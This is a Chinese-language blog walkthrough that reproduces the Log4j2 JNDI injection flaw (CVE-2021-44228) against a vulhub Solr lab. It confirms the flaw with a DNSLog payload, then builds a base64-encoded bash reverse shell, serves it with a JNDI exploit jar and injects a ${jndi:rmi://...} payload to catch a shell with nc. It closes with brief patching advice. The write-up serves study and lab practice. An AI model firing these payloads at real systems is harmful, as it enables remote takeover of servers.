Apache Log4j2 lookup JNDI 注入漏洞复现(CVE-2021-44228)

文章介绍了ApacheLog4j2的日志处理套件中的严重漏洞,允许攻击者通过构造恶意日志消息执行任意代码。漏洞复现过程包括DNSLog验证和反弹shell,而修复措施包括升级Log4j框架、更新JDK、修改配置及使用安全防护产品。
摘要由CSDN通过智能技术生成

一、漏洞背景:

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,log4j的默认配置允许使用解析日志消息中的对象。攻击者可以构造恶意的日志消息,其中包含一个恶意的Java对象,当log4j尝试解析这个对象时,它将会触发漏洞,导致攻击者能够执行任意代码。

二、漏洞环境:

vulhub.org/#/environments/log4j/CVE-2021-44228/

docker-compose up -d

服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。

三、漏洞复现:

Ubuntu (192.168.110.163)

kali虚拟机 (192.168.110.141)

exp tools

GitHub - bkfish/Apache-Log4j-Learning: Apache-Log4j漏洞复现笔记

测试该网站存在不存在Apache log4j2漏洞

DNSLog验证

先利用dnslog生成一个用于接收回参的网址

 

通过DNSLog平台(http://www.dnslog.cn/)获取到域名http://xxxxxx,构造payload ${jndi:ldap://http://xxxxxx}

然后我们对目标网站进行测试,访问网址:

http://192.168.110.163:8983/solr/admin/cores?action=${jndi:ldap://xxxxxx}

换成自己的ip和生成的dnslog值即可

 

 

JNDI注入反弹shell

首先到kali中打开我们事先准备好的exp

解压后到tools目录下

构造payload:

bash -i >& /dev/tcp/192.168.110.141/4444 0>&1

这里IP是kali的IP,端口是你等会nc监听的端口

然后我们将这个加密为base64

 

 

使用工具

Java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.110.141

 

 

这里会生成两个协议各一个执行命令,这两个协议在log4j2中都有执行权限

我们使用第一个,再次构造一个payload

${jndi:rmi://192.168.110.141:1099/k3snom}

到kali中开启nc

nc -lvvp 4444

 

 

然后我们将这个payload插入到action的后面

http://192.168.110.163:8983/solr/admin/cores?action=${jndi:rmi://192.168.110.141:1099/k3snom}

回车直接访问

nc成功反弹shell

四、修复建议

1.升级将Log4j框架

2.升级jdk

3.修改log4j配置

4.使用安全产品防护

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值